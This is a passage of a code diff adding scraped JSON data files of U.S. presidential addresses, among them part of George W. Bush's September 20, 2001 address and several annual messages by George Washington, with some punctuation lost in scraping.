journey\nahead.Tonight I thank my fellow Americans for what you have already done and for what\nyou will do. And ladies and gentlemen of the Congress, I thank you, their\nrepresentatives, for what you have already done, and for what we will do\ntogether.Tonight, we face new and sudden national challenges. We will come together to\nimprove air safety, to dramatically expand the number of air marshals on\ndomestic flights, and take new measures to prevent hijacking. We will come\ntogether to promote stability and keep our airlines flying with direct\nassistance during this emergency. We will come together to give law enforcement\nthe additional tools it needs to track down terror here at home. We will come\ntogether to strengthen our intelligence capabilities to know the plans of\nterrorists before they act, and find them before they strike. We will come\ntogether to take active steps that strengthen Americas economy, and put our\npeople back to work.Tonight we welcome here two leaders who embody the extraordinary spirit of all\nNew Yorkers: Governor George Pataki and Mayor Rudy Giuliani. As a symbol of\nAmericas resolve, my Administration will work with the Congress, and these two\nleaders, to show the world that we will rebuild New York City.After all that has just passedall the lives taken, and all the possibilities\nand hopes that died with themit is natural to wonder if Americas future is one\nof fear. Some speak of an age of terror. I know there are struggles ahead, and\ndangers to face. But this country will define our times, not be defined by them.\nAs long as the United States of America is determined and strong, this will not\nbe an age of terror; this will be an age of liberty, here and across the world.Great harm has been done to us. We have suffered great loss. And in our grief\nand anger we have found our mission and our moment. Freedom and fear are at war.\nThe advance of human freedomthe great achievement of our time, and the great\nhope of every timenow depends on us. Our Nation this generationwill lift a\ndark threat of violence from our people and our future. We will rally the world\nto this cause, by our efforts and by our courage. We will not tire, we will not\nfalter, and we will not fail.It is my hope that in the months and years ahead, life will return almost to\nnormal. Well go back to our lives and routines, and that is good. Even grief\nrecedes with time and grace. But our resolve must not pass. Each of us will\nremember what happened that day, and to whom it happened. We will remember the\nmoment the news camewhere we were and what we were doing. Some will remember an\nimage of fire, or a story of rescue. Some will carry memories of a face and a\nvoice gone forever. And I will carry this. It is the police shield of a man\nnamed George Howard, who died at the World Trade Center trying to save others.\nIt was given to me by his mom, Arlene, as a proud memorial to her son. This is\nmy reminder of lives that ended, and a task that does not end.I will not forget this wound to our country, or those who inflicted it. I will\nnot yieldI will not restI will not relent in waging this struggle for the\nfreedom and security of the American people.The course of this conflict is not known, yet its outcome is certain. Freedom\nand fear, justice and cruelty, have always been at war, and we know that God is\nnot neutral between them.Fellow citizens, we will meet violence with patient justiceassured of the\nrightness of our cause, and confident of the victories to come. In all that lies\nbefore us, may God grant us wisdom, and may He watch over the United States of\nAmerica.Thank you.GEORGE W. BUSH.\nTHE WHITE HOUSE, September 20, 2001.", 
+    "name": "George W. Bush"
+}
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+{
+    "date": "December 3, 1793", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Since the commencement of the term for which I have been again called into\noffice no fit occasion has arisen for expressing to my fellow citizens at\nlarge the deep and respectful sense which I feel of the renewed testimony\nof public approbation. While on the one hand it awakened my gratitude for\nall those instances of affectionate partiality with which I have been\nhonored by my country, on the other it could not prevent an earnest wish\nfor that retirement from which no private consideration should ever have\ntorn me. But influenced by the belief that my conduct would be estimated\naccording to its real motives, and that the people, and the authorities\nderived from them, would support exertions having nothing personal for\ntheir object, I have obeyed the suffrage which commanded me to resume the\nExecutive power; and I humbly implore that Being on whose will the fate of\nnations depends to crown with success our mutual endeavors for the general\nhappiness.As soon as the war in Europe had embraced those powers with whom the United\nStates have the most extensive relations there was reason to apprehend that\nour intercourse with them might be interrupted and our disposition for\npeace drawn into question by the suspicions too often entertained by\nbelligerent nations. It seemed, therefore, to be my duty to admonish our\ncitizens of the consequences of a contraband trade and of hostile acts to\nany of the parties, and to obtain by a declaration of the existing legal\nstate of things an easier admission of our right to the immunities\nbelonging to our situation. Under these impressions the proclamation which\nwill be laid before you was issued.In this posture of affairs, both new and delicate, I resolved to adopt\ngeneral rules which should conform to the treaties and assert the\nprivileges of the United States. These were reduced into a system, which\nwill be communicated to you. Although I have not thought of myself at\nliberty to forbid the sale of the prizes permitted by our treaty of\ncommerce with France to be brought into our ports, I have not refused to\ncause them to be restored when they were taken within the protection of our\nterritory, or by vessels commissioned or equipped in a warlike form within\nthe limits of the United States.It rests with the wisdom of Congress to correct, improve, or enforce this\nplan of procedure; and it will probably be found expedient to extend the\nlegal code and the jurisdiction of the courts of the United States to many\ncases which, though dependent on principles already recognized, demand some\nfurther provisions.Where individuals shall, within the United States, array themselves in\nhostility against any of the powers at war, or enter upon military\nexpeditions or enterprises within the jurisdiction of the United States, or\nusurp and exercise judicial authority within the United States, or where\nthe penalties on violations of the law of nations may have been\nindistinctly marked, or are inadequate--these offenses can not receive too\nearly and close an attention, and require prompt and decisive remedies.Whatsoever those remedies may be, they will be well administered by the\njudiciary, who possess a long-established course of investigation,\neffectual process, and officers in the habit of executing it.In like manner, as several of the courts have doubted, under particular\ncircumstances, their power to liberate the vessels of a nation at peace,\nand even of a citizen of the United States, although seized under a false\ncolor of being hostile property, and have denied their power to liberate\ncertain captures within the protection of our territory, it would seem\nproper to regulate their jurisdiction in these points. But if the Executive\nis to be the resort in either of the two last-mentioned cases, it is hoped\nthat he will be authorized by law to have facts ascertained by the courts\nwhen for his own information he shall request it.I can not recommend to your notice measures for the fulfillment of our\nduties to the rest of the world without again pressing upon you the\nnecessity of placing ourselves in a condition of complete defense and of\nexacting from them the fulfillment of their duties toward us. The United\nStates ought not to indulge a persuasion that, contrary to the order of\nhuman events, they will forever keep at a distance those painful appeals to\narms with which the history of every other nation abounds. There is a rank\ndue to the United States among nations which will be withheld, if not\nabsolutely lost, by the reputation of weakness. If we desire to avoid\ninsult, we must be able to repel it; if we desire to secure peace, one of\nthe most powerful instruments of our rising prosperity, it must be known\nthat we are at all times ready for war. The documents which will be\npresented to you will shew the amount and kinds of arms and military stores\nnow in our magazines and arsenals; and yet an addition even to these\nsupplies can not with prudence be neglected, as it would leave nothing to\nthe uncertainty of procuring warlike apparatus in the moment of public\ndanger.Nor can such arrangements, with such objects, be exposed to the censure or\njealousy of the warmest friends of republican government. They are\nincapable of abuse in the hands of the militia, who ought to possess a\npride in being the depository of the force of the Republic, and may be\ntrained to a degree of energy equal to every military exigency of the\nUnited States. But it is an inquiry which can not be too solemnly pursued,\nwhether the act \"more effectually to provide for the national defense by\nestablishing an uniform militia throughout the United States\" has organized\nthem so as to produce their full effect; whether your own experience in the\nseveral States has not detected some imperfections in the scheme, and\nwhether a material feature in an improvement of it ought not to be to\nafford an opportunity for the study of those branches of the military art\nwhich can scarcely ever be attained by practice alone.The connection of the United States with Europe has become extremely\ninteresting. The occurrences which relate to it and have passed under the\nknowledge of the Executive will be exhibited to Congress in a subsequent\ncommunication.When we contemplate the war on our frontiers, it may be truly affirmed that\nevery reasonable effort has been made to adjust the causes of dissension\nwith the Indians north of the Ohio. The instructions given to the\ncommissioners evince a moderation and equity proceeding from a sincere love\nof peace, and a liberality having no restriction but the essential\ninterests and dignity of the United States. The attempt, however, of an\namicable negotiation having been frustrated, the troops have marched to act\noffensively. Although the proposed treaty did not arrest the progress of\nmilitary preparation, it is doubtful how far the advance of the season,\nbefore good faith justified active movements, may retard them during the\nremainder of the year. From the papers and intelligence which relate to\nthis important subject you will determine whether the deficiency in the\nnumber of troops granted by law shall be compensated by succors of militia,\nor additional encouragements shall be proposed to recruits.An anxiety has been also demonstrated by the Executive for peace with the\nCreeks and the Cherokees. The former have been relieved with corn and with\nclothing, and offensive measures against them prohibited during the recess\nof Congress. To satisfy the complaints of the latter, prosecutions have\nbeen instituted for the violences committed upon them. But the papers which\nwill be delivered to you disclose the critical footing on which we stand in\nregard to both those tribes, and it is with Congress to pronounce what\nshall be done.After they shall have provided for the present emergency, it will merit\ntheir most serious labors to render tranquillity with the savages permanent\nby creating ties of interest. Next to a rigorous execution of justice on\nthe violators of peace, the establishment of commerce with the Indian\nnations in behalf of the United States is most likely to conciliate their\nattachment. But it ought to be conducted without fraud, without extortion,\nwith constant and plentiful supplies, with a ready market for the\ncommodities of the Indians and a stated price for what they give in payment\nand receive in exchange. Individuals will not pursue such a traffic unless\nthey be allured by the hope of profit; but it will be enough for the United\nStates to be reimbursed only. Should this recommendation accord with the\nopinion of Congress, they will recollect that it can not be accomplished by\nany means yet in the hands of the Executive.Gentlemen of the House of Representatives:The commissioners charged with the settlement of accounts between the\nUnited States and individual States concluded their important function\nwithin the time limited by law, and the balances struck in their report,\nwhich will be laid before Congress, have been placed on the books of the\nTreasury.On the first day of June last an installment of 1,000,000 florins became\npayable on the loans of the United States in Holland. This was adjusted by\na prolongation of the period of reimbursement in nature of a new loan at an\ninterest of 5% for the term of ten years, and the expenses of this\noperation were a commission of 3%.The first installment of the loan of $2,000,000 from the Bank of the United\nStates has been paid, as was directed by law. For the second it is\nnecessary that provision be made.No pecuniary consideration is more urgent than the regular redemption and\ndischarge of the public debt. On none can delay be more injurious or an\neconomy of time more valuable.The productiveness of the public revenues hitherto has continued to equal\nthe anticipations which were formed of it, but it is not expected to prove\ncommensurate with all the objects which have been suggested. Some auxiliary\nprovisions will therefore, it is presumed, be requisite, and it is hoped\nthat these may be made consistently with a due regard to the convenience of\nour citizens, who can not but be sensible of the true wisdom of\nencountering a small present addition to their contributions to obviate a\nfuture accumulation of burthens.But here I can not forbear to recommend a repeal of the tax on the\ntransportation of public prints. There is no resource so firm for the\nGovernment of the United States as the affections of the people, guided by\nan enlightened policy; and to this primary good nothing can conduce more\nthan a faithful representation of public proceedings, diffused without\nrestraint throughout the United States.An estimate of the appropriations necessary for the current service of the\nensuing year and a statement of a purchase of arms and military stores made\nduring the recess will be presented to Congress.Gentlemen of the Senate and of the House of Representatives:The several subjects to which I have now referred open a wide range to your\ndeliberations and involve some of the choicest interests of our common\ncountry. Permit me to bring to your remembrance the magnitude of your task.\nWithout an unprejudiced coolness the welfare of the Government may be\nhazarded; without harmony as far as consists with freedom of sentiment its\ndignity may be lost. But as the legislative proceedings of the United\nStates will never, I trust, be reproached for the want of temper or of\ncandor, so shall not the public happiness languish from the want of my\nstrenuous and warmest cooperation.GO. WASHINGTON", 
+    "name": "George Washington"
+}
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+{
+    "date": "December 7, 1796", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:In recurring to the internal situation of our country since I had last the\npleasure to address you, I find ample reason for a renewed expression of\nthat gratitude to the Ruler of the Universe which a continued series of\nprosperity has so often and so justly called forth.The acts of the last session which required special arrangements have been\nas far as circumstances would admit carried into operation.Measures calculated to insure a continuance of the friendship of the\nIndians and to preserve peace along the extent of our interior frontier\nhave been digested and adopted. In the framing of these care has been taken\nto guard on the one hand our advanced settlements from the predatory\nincursions of those unruly individuals who can not be restrained by their\ntribes, and on the other hand to protect the rights secured to the Indians\nby treaty--to draw them nearer to the civilized state and inspire them\nwith correct conceptions of the power as well as justice of the\nGovernment.The meeting of the deputies from the Creek Nation at Colerain, in the State\nof Georgia, which had for a principal object the purchase of a parcel of\ntheir land by that State, broke up without its being accomplished, the\nnation having previous to their departure instructed them against making\nany sale. The occasion, however, has been improved to confirm by a new\ntreaty with the Creeks their preexisting engagements with the United\nStates, and to obtain their consent to the establishment of trading houses\nand military posts within their boundary, by means of which their\nfriendship and the general peace may be more effectually secured.The period during the late session at which the appropriation was passed\nfor carrying into effect the treaty of amity, commerce, and navigation\nbetween the United States and His Brittanic Majesty necessarily\nprocrastinated the reception of the posts stipulated to be delivered beyond\nthe date assigned for that event. As soon, however, as the Governor-General\nof Canada could be addressed with propriety on the subject, arrangements\nwere cordially and promptly concluded for their evacuation, and the United\nStates took possession of the principal of them, comprehending Oswego,\nNiagara, Detroit, Michilimackinac, and Fort Miami, where such repairs and\nadditions have been ordered to be made as appeared indispensable.The commissioners appointed on the part of the United States and of Great\nBritain to determine which is the river St. Croix mentioned in the treaty\nof peace of 1783, agreed in the choice of Egbert Benson, esq., of New York,\nfor the 3rd commissioner. The whole met at St. Andrew's, in Passamaquoddy\nBay, in the beginning of October, and directed surveys to be made of the\nrivers in dispute; but deeming it impracticable to have these surveys\ncompleted before the next year, they adjourned to meet at Boston in August,\n1797, for the final decision of the question.Other commissioners appointed on the part of the United States, agreeably\nto the 7th article of the treaty with Great Britain, relative to captures\nand condemnation of vessels and other property, met the commissioners of\nHis Britannic Majesty in London in August last, when John Trumbull, esq.,\nwas chosen by lot for the 5th commissioner. In October following the board\nwere to proceed to business. As yet there has been no communication of\ncommissioners on the part of Great Britain to unite with those who have\nbeen appointed on the part of the United States for carrying into effect\nthe 6th article of the treaty.The treaty with Spain required that the commissioners for running the\nboundary line between the territory of the United States and His Catholic\nMajesty's provinces of East and West Florida should meet at the Natchez\nbefore the expiration of 6 months after the exchange of the ratifications,\nwhich was effected at Aranjuez on the 25th day of April; and the\ntroops of His Catholic Majesty occupying any posts within the limits of\nthe United States were within the same time period to be withdrawn. The\ncommissioner of the United States therefore commenced his journey for the\nNatchez in September, and troops were ordered to occupy the posts from\nwhich the Spanish garrisons should be withdrawn. Information has been\nrecently received of the appointment of a commissioner on the part of His\nCatholic Majesty for running the boundary line, but none of any appointment\nfor the adjustment of the claims of our citizens whose vessels were\ncaptured by the armed vessels of Spain.In pursuance of the act of Congress passed in the last session for the\nprotection and relief of American sea-men, agents were appointed, one to\nreside in Great Britain and the other in the West Indies. The effects of\nthe agency in the West Indies are not yet fully ascertained, but those\nwhich have been communicated afford grounds to believe the measure will be\nbeneficial. The agent destined to reside in Great Britain declining to\naccept the appointment, the business has consequently devolved on the\nminister of the United States in London, and will command his attention\nuntil a new agent shall be appointed.After many delays and disappointments arising out of the European war, the\nfinal arrangements for fulfilling the engagements made to the Dey and\nRegency of Algiers will in all present appearance be crowned with success,\nbut under great, though inevitable, disadvantages in the pecuniary\ntransactions occasioned by that war, which will render further provision\nnecessary. The actual liberation of all our citizens who were prisoners in\nAlgiers, while it gratifies every feeling of heart, is itself an earnest of\na satisfactory termination of the whole negotiation. Measures are in\noperation for effecting treaties with the Regencies of Tunis and Tripoli.To an active external commerce the protection of a naval force is\nindispensable. This is manifest with regard to wars in which a State is\nitself a party. But besides this, it is in our own experience that the most\nsincere neutrality is not a sufficient guard against the depredations of\nnations at war. To secure respect to a neutral flag requires a naval force\norganized and ready to vindicate it from insult or aggression. This may\neven prevent the necessity of going to war by discouraging belligerent\npowers from committing such violations of the rights of the neutral party\nas may, first or last, leave no other option. From the best information I\nhave been able to obtain it would seem as if our trade to the Mediterranean\nwithout a protecting force will always be insecure and our citizens exposed\nto the calamities from which numbers of them have but just been relieved.These considerations invite the United States to look to the means, and to\nset about the gradual creation of a navy. The increasing progress of their\nnavigation promises them at no distant period the requisite supply of\nsea-men, and their means in other respects favor the undertaking. It is an\nencouragement, likewise, that their particular situation will give weight\nand influence to a moderate naval force in their hands. Will it not, then,\nbe advisable to begin without delay to provide and lay up the materials for\nthe building and equipping of ships of war, and to proceed in the work by\ndegrees, in proportion as our resources shall render it practicable without\ninconvenience, so that a future war of Europe may not find our commerce in\nthe same unprotected state in which it was found by the present?Congress have repeatedly, and not without success, directed their attention\nto the encouragement of manufactures. The object is of too much consequence\nnot to insure a continuance of their efforts in every way which shall\nappear eligible. As a general rule, manufactures on public account are\ninexpedient; but where the state of things in a country leaves little hope\nthat certain branches of manufacture will for a great length of time\nobtain, when these are of a nature essential to the furnishing and\nequipping of the public force in time of war, are not establishments for\nprocuring them on public account to the extent of the ordinary demand for\nthe public service recommended by strong considerations of national policy\nas an exception to the general rule?Ought our country to remain in such cases dependent on foreign supply,\nprecarious because liable to be interrupted? If the necessary article\nshould in this mode cost more in time of peace, will not the security and\nindependence thence arising form an ample compensation?Establishments of this sort, commensurate only with the calls of the public\nservice in time of peace, will in time of war easily be extended in\nproportion to the exigencies of the Government, and may even perhaps be\nmade to yield a surplus for the supply of our citizens at large, so as to\nmitigate the privations from the interruption of their trade. If adopted,\nthe plan ought to exclude all those branches which are already, or likely\nsoon to be, established in the country, in order that there may be no danger\nof interference with pursuits of individual industry.It will not be doubted that with reference either to individual or national\nwelfare agriculture is of primary importance. In proportion as nations\nadvance in population and other circumstances of maturity this truth\nbecomes more apparent, and renders the cultivation of the soil more and\nmore an object of public patronage. Institutions for promoting it grow up,\nsupported by the public purse; and to what object can it be dedicated with\ngreater propriety?Among the means which have been employed to this end none have been\nattended with greater success than the establishment of boards (composed of\nproper characters) charged with collecting and diffusing information, and\nenabled by premiums and small pecuniary aids to encourage and assist a\nspirit of discovery and improvement. This species of establishment\ncontributes doubly to the increase of improvement by stimulating to\nenterprise and experiment, and by drawing to a common center the results\neverywhere of individual skill and observation, and spreading them thence\nover the whole nation. Experience accordingly has shewn that they are very\ncheap instruments of immense national benefits.I have heretofore proposed to the consideration of Congress the expediency\nof establishing a national university and also a military academy. The\ndesirableness of both these institutions has so constantly increased with\nevery new view I have taken of the subject that I can not omit the\nopportunity of once for all recalling your attention to them.The assembly to which I address myself is too enlightened not to be fully\nsensible how much a flourishing state of the arts and sciences contributes\nto national prosperity and reputation.True it is that our country, much to its honor, contains many seminaries of\nlearning highly repeatable and useful; but the funds upon which they rest\nare too narrow to command the ablest professors in the different\ndepartments of liberal knowledge for the institution contemplated, though\nthey would be excellent auxiliaries.Amongst the motives to such an institution, the assimilation of the\nprinciples, opinions, and manners of our country-men by the common\neducation of a portion of our youth from every quarter well deserves\nattention. The more homogenous our citizens can be made in these\nparticulars the greater will be our prospect of permanent union; and a\nprimary object of such a national institution should be the education of\nour youth in the science of government. In a republic what species of\nknowledge can be equally important and what duty more pressing on its\nlegislature than to patronize a plan for communicating it to those who are\nto be the future guardians of the liberties of the country?The institution of a military academy is also recommended by cogent\nreasons. However pacific the general policy of a nation may be, it ought\nnever to be without an adequate stock of military knowledge for\nemergencies. The first would impair the energy of its character, and both\nwould hazard its safety or expose it to greater evils when war could not be\navoided; besides that, war might often not depend upon its own choice. In\nproportion as the observance of pacific maxims might exempt a nation from\nthe necessity of practicing the rules of the military art ought to be its\ncare in preserving and transmitting, by proper establishments, the\nknowledge of that art.Whatever argument may be drawn from particular examples superficially\nviewed, a thorough examination of the subject will evince that the art of\nwar is at once comprehensive and complicated, that it demands much previous\nstudy, and that the possession of it in its most improved and perfect state\nis always of great moment to the security of a nation. This, therefore,\nought to be a serious care of every government, and for this purpose an\nacademy where a regular course of instruction is given is an obvious\nexpedient which different nations have successfully employed.The compensation to the officers of the United States in various instances,\nand in none more than in respect to the most important stations, appear to\ncall for legislative revision. The consequences of a defective provision\nare of serious import to the Government. If private wealth is to supply the\ndefect of public retribution, it will greatly contract the sphere within\nwhich the selection of character for office is to be made, and will\nproportionally diminish the probability of a choice of men able as well as\nupright. Besides that, it should be repugnant to the vital principles of\nour Government virtually to exclude from public trusts talents and virtue\nunless accompanied by wealth.While in our external relations some serious inconveniences and\nembarrassments have been overcome and others lessened, it is with much pain\nand deep regret I mention that circumstances of a very unwelcome nature\nhave lately occurred. Our trade has suffered and is suffering extensive\ninjuries in the West Indies from the cruisers and agents of the French\nRepublic, and communications have been received from its minister here\nwhich indicate the danger of a further disturbance of our commerce by its\nauthority, and which are in other respects far from agreeable.It has been my constant, sincere, and earnest wish, in conformity with that\nof our nation, to maintain cordial harmony and a perfectly friendly\nunderstanding with that Republic. This wish remains unabated, and I shall\npersevere in the endeavor to fulfill it to the utmost extent of what shall\nbe consistent with a just and indispensable regard to the rights and honor\nof our country; nor will I easily cease to cherish the expectation that a\nspirit of justice, candor, and friendship on the part of the Republic will\neventually insure success.In pursuing this course, however, I can not forget what is due to the\ncharacter of our Government and nation, or to a full and entire confidence\nin the good sense, patriotism, self-respect, and fortitude of my\ncountry-men.I reserve for a special message a more particular communication on this\ninteresting subject.Gentlemen of the House of Representatives:I have directed an estimate of the appropriations necessary for the service\nof the ensuing year to be submitted from the proper Department, with a view\nof the public receipts and expenditures to the latest period to which an\naccount can be prepared.It is with satisfaction I am able to inform you that the revenues of the\nUnited States continue in a state of progressive improvement.A reenforcement of the existing provisions for discharging our public debt\nwas mentioned in my address at the opening of the last session. Some\npreliminary steps were taken toward it, the maturing of which will no doubt\nengage your zealous attention during the present. I will only add that it\nwill afford me a heart-felt satisfaction to concur in such further measures\nas will ascertain to our country the prospect of a speedy extinguishment of\nthe debt. Posterity may have cause to regret if from any motive intervals\nof tranquillity are left unimproved for accelerating this valuable end.Gentlemen of the Senate and of the House of Representatives:My solicitude to see the militia of the United States placed on an\nefficient establishment has been so often and so ardently expressed that I\nshall but barely recall the subject to your view on the present occasion,\nat the same time that I shall submit to your inquiry whether our harbors\nare yet sufficiently secured.The situation in which I now stand for the last time, in the midst of the\nrepresentatives of the people of the United States, naturally recalls the\nperiod when the administration of the present form of government commenced,\nand I can not omit the occasion to congratulate you and my country on the\nsuccess of the experiment, nor to repeat my fervent supplications to the\nSupreme Ruler of the Universe and Sovereign Arbiter of Nations that His\nprovidential care may still be extended to the United States, that the\nvirtue and happiness of the people may be preserved, and that the\nGovernment which they have instituted for the protection of their liberties\nmay be perpetual.GO. WASHINGTON", 
+    "name": "George Washington"
+}
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+{
+    "date": "December 8, 1790", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:In meeting you again I feel much satisfaction in being able to repeat my\ncongratulations on the favorable prospects which continue to distinguish\nour public affairs. The abundant fruits of another year have blessed our\ncountry with plenty and with the means of a flourishing commerce.The progress of public credit is witnessed by a considerable rise of\nAmerican stock abroad as well as at home, and the revenues allotted for\nthis and other national purposes have been productive beyond the\ncalculations by which they were regulated. This latter circumstance is the\nmore pleasing, as it is not only a proof of the fertility of our resources,\nbut as it assures us of a further increase of the national respectability\nand credit, and, let me add, as it bears an honorable testimony to the\npatriotism and integrity of the mercantile and marine part of our citizens.\nThe punctuality of the former in discharging their engagements has been\nexemplary.In conformity to the powers vested in me by acts of the last session, a\nloan of 3,000,000 florins, toward which some provisional measures had\npreviously taken place, has been completed in Holland. As well the celerity\nwith which it has been filled as the nature of the terms (considering the\nmore than ordinary demand for borrowing created by the situation of Europe)\ngive a reasonable hope that the further execution of those powers may\nproceed with advantage and success. The Secretary of the Treasury has my\ndirections to communicate such further particulars as may be requisite for\nmore precise information.Since your last sessions I have received communications by which it appears\nthat the district of Kentucky, at present a part of Virginia, has concurred\nin certain propositions contained in a law of that State, in consequence of\nwhich the district is to become a distinct member of the Union, in case the\nrequisite sanction of Congress be added. For this sanction application is\nnow made. I shall cause the papers on this very transaction to be laid\nbefore you.The liberality and harmony with which it has been conducted will be found\nto do great honor to both the parties, and the sentiments of warm\nattachment to the Union and its present Government expressed by our fellow\ncitizens of Kentucky can not fail to add an affectionate concern for their\nparticular welfare to the great national impressions under which you will\ndecide on the case submitted to you.It has been heretofore known to Congress that frequent incursions have been\nmade on our frontier settlements by certain banditti of Indians from the\nnorthwest side of the Ohio. These, with some of the tribes dwelling on and\nnear the Wabash, have of late been particularly active in their\ndepredations, and being emboldened by the impunity of their crimes and\naided by such parts of the neighboring tribes as could be seduced to join\nin their hostilities or afford them a retreat for their prisoners and\nplunder, they have, instead of listening to the humane invitations and\novertures made on the part of the United States, renewed their violences\nwith fresh alacrity and greater effect. The lives of a number of valuable\ncitizens have thus been sacrificed, and some of them under circumstances\npeculiarly shocking, whilst others have been carried into a deplorable\ncaptivity.These aggravated provocations rendered it essential to the safety of the\nWestern settlements that the aggressors should be made sensible that the\nGovernment of the Union is not less capable of punishing their crimes than\nit is disposed to respect their rights and reward their attachments. As\nthis object could not be effected by defensive measures, it became\nnecessary to put in force the act which empowers the President to call out\nthe militia for the protection of the frontiers, and I have accordingly\nauthorized an expedition in which the regular troops in that quarter are\ncombined with such drafts of militia as were deemed sufficient. The event\nof the measure is yet unknown to me. The Secretary of War is directed to\nlay before you a statement of the information on which it is founded, as\nwell as an estimate of the expense with which it will be attended.The disturbed situation of Europe, and particularly the critical posture of\nthe great maritime powers, whilst it ought to make us the more thankful for\nthe general peace and security enjoyed by the United States, reminds us at\nthe same time of the circumspection with which it becomes us to preserve\nthese blessings. It requires also that we should not overlook the tendency\nof a war, and even of preparations for a war, among the nations most\nconcerned in active commerce with this country to abridge the means, and\nthereby at least enhance the price, of transporting its valuable\nproductions to their markets. I recommend it to your serious reflections\nhow far and in what mode it may be expedient to guard against\nembarrassments from these contingencies by such encouragements to our own\nnavigation as will render our commerce and agriculture less dependent on\nforeign bottoms, which may fail us in the very moments most interesting to\nboth of these great objects. Our fisheries and the transportation of our\nown produce offer us abundant means for guarding ourselves against this\nevil.Your attention seems to be not less due to that particular branch of our\ntrade which belongs to the Mediterranean. So many circumstances unite in\nrendering the present state of it distressful to us that you will not think\nany deliberations misemployed which may lead to its relief and protection.The laws you have already passed for the establishment of a judiciary\nsystem have opened the doors of justice to all descriptions of persons. You\nwill consider in your wisdom whether improvements in that system may yet be\nmade, and particularly whether an uniform process of execution on sentences\nissuing from the Federal courts be not desirable through all the States.The patronage of our commerce, of our merchants and sea men, has called for\nthe appointment of consuls in foreign countries. It seems expedient to\nregulate by law the exercise of that jurisdiction and those functions which\nare permitted them, either by express convention or by a friendly\nindulgence, in the places of their residence. The consular convention, too,\nwith His Most Christian Majesty has stipulated in certain cases the aid of\nthe national authority to his consuls established here. Some legislative\nprovision is requisite to carry these stipulations into full effect.The establishment of the militia, of a mint, of standards of weights and\nmeasures, of the post office and post roads are subjects which I presume\nyou will resume of course, and which are abundantly urged by their own\nimportance.Gentlemen of the House of Representatives:The sufficiency of the revenues you have established for the objects to\nwhich they are appropriated leaves no doubt that the residuary provisions\nwill be commensurate to the other objects for which the public faith stands\nnow pledged. Allow me, moreover, to hope that it will be a favorite policy\nwith you, not merely to secure a payment of the interest of the debt\nfunded, but as far and as fast as the growing resources of the country will\npermit to exonerate it of the principal itself. The appropriation you have\nmade of the Western land explains your dispositions on this subject, and I\nam persuaded that the sooner that valuable fund can be made to contribute,\nalong with the other means, to the actual reduction of the public debt the\nmore salutary will the measure be to every public interest, as well as the\nmore satisfactory to our constituents.Gentlemen of the Senate and House of Representatives:In pursuing the various and weighty business of the present session I\nindulge the fullest persuasion that your consultation will be equally\nmarked with wisdom and animated by the love of your country. In whatever\nbelongs to my duty you shall have all the cooperation which an undiminished\nzeal for its welfare can inspire. It will be happy for us both, and our\nbest reward, if, by a successful administration of our respective trusts,\nwe can make the established Government more and more instrumental in\npromoting the good of our fellow citizens, and more and more the object of\ntheir attachment and confidence.GO. WASHINGTON", 
+    "name": "George Washington"
+}
\ No newline at end of file
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+++ b/pyscrapper/stateofunion/ScrapedData/George WashingtonDecember 8, 1795.json	
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+{
+    "date": "December 8, 1795", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:I trust I do not deceive myself when I indulge the persuasion that I have\nnever met you at any period when more than at the present the situation of\nour public affairs has afforded just cause for mutual congratulation, and\nfor inviting you to join with me in profound gratitude to the Author of all\nGood for the numerous and extraordinary blessings we enjoy.The termination of the long, expensive, and distressing war in which we\nhave been engaged with certain Indians northwest of the Ohio is placed in\nthe option of the United States by a treaty which the commander of our army\nhas concluded provisionally with the hostile tribes in that region.In the adjustment of the terms the satisfaction of the Indians was deemed\nworthy no less of the policy than of the liberality of the United States as\nthe necessary basis of durable tranquillity. The object, it is believed,\nhas been fully attained. The articles agreed upon will immediately be laid\nbefore the Senate for their consideration.The Creek and Cherokee Indians, who alone of the Southern tribes had\nannoyed our frontiers, have lately confirmed their preexisting treaties\nwith us, and were giving evidence of a sincere disposition to carry them\ninto effect by the surrender of the prisoners and property they had taken.\nBut we have to lament that the fair prospect in this quarter has been once\nmore clouded by wanton murders, which some citizens of Georgia are\nrepresented to have recently perpetrated on hunting parties of the Creeks,\nwhich have again subjected that frontier to disquietude and danger, which\nwill be productive of further expense, and may occasion more effusion of\nblood. Measures are pursuing to prevent or mitigate the usual consequences\nof such outrages, and with the hope of their succeeding at least to avert\ngeneral hostility.A letter from the Emperor of Morocco announces to me his recognition of our\ntreaty made with his father, the late Emperor, and consequently the\ncontinuance of peace with that power. With peculiar satisfaction I add that\ninformation has been received from an agent deputed on our part to Algiers\nimporting that the terms of the treaty with the Dey and Regency of that\ncountry had been adjusted in such a manner as to authorize the expectation\nof a speedy peace and the restoration of our unfortunate fellow citizens\nfrom a grievous captivity.The latest advices from our envoy at the Court of Madrid give, moreover,\nthe pleasing information that he had assurances of a speedy and\nsatisfactory conclusion of his negotiation. While the event depending upon\nunadjusted particulars can not be regarded as ascertained, it is agreeable\nto cherish the expectation of an issue which, securing amicably very\nessential interests of the United States, will at the same time lay the\nfoundation of lasting harmony with a power whose friendship we have\nuniformly and sincerely desired to cultivate.Though not before officially disclosed to the House of Representatives,\nyou, gentlemen, are all apprised that a treaty of amity, commerce, and\nnavigation has been negotiated with Great Britain, and that the Senate have\nadvised and consented to its ratification upon a condition which excepts\npart of one article. Agreeably thereto, and to the best judgment I was able\nto form of the public interest after full and mature deliberation, I have\nadded my sanction. The result on the part of His Britannic Majesty is\nunknown. When received, the subject will without delay be placed before\nCongress.This interesting summary of our affairs with regard to the foreign powers\nbetween whom and the United States controversies have subsisted, and with\nregard also to those of our Indian neighbors with whom we have been in a\nstate of enmity or misunderstanding, opens a wide field for consoling and\ngratifying reflections. If by prudence and moderation on every side the\nextinguishment of all the causes of external discord which have heretofore\nmenaced our tranquillity, on terms compatible with our national rights and\nhonor, shall be the happy result, how firm and how precious a foundation\nwill have been laid for accelerating, maturing, and establishing the\nprosperity of our country.Contemplating the internal situation as well as the external relations of\nthe United States, we discover equal cause for contentment and\nsatisfaction. While many of the nations of Europe, with their American\ndependencies, have been involved in a contest unusually bloody, exhausting,\nand calamitous, in which the evils of foreign war have been aggravated by\ndomestic convulsion and insurrection; in which many of the arts most useful\nto society have been exposed to discouragement and decay; in which scarcity\nof subsistence has imbittered other sufferings; while even the\nanticipations of a return of the blessings of peace and repose are alloyed\nby the sense of heavy and accumulating burthens, which press upon all the\ndepartments of industry and threaten to clog the future springs of\ngovernment, our favored country, happy in a striking contrast, has enjoyed\ntranquillity--a tranquillity the more satisfactory because maintained at\nthe 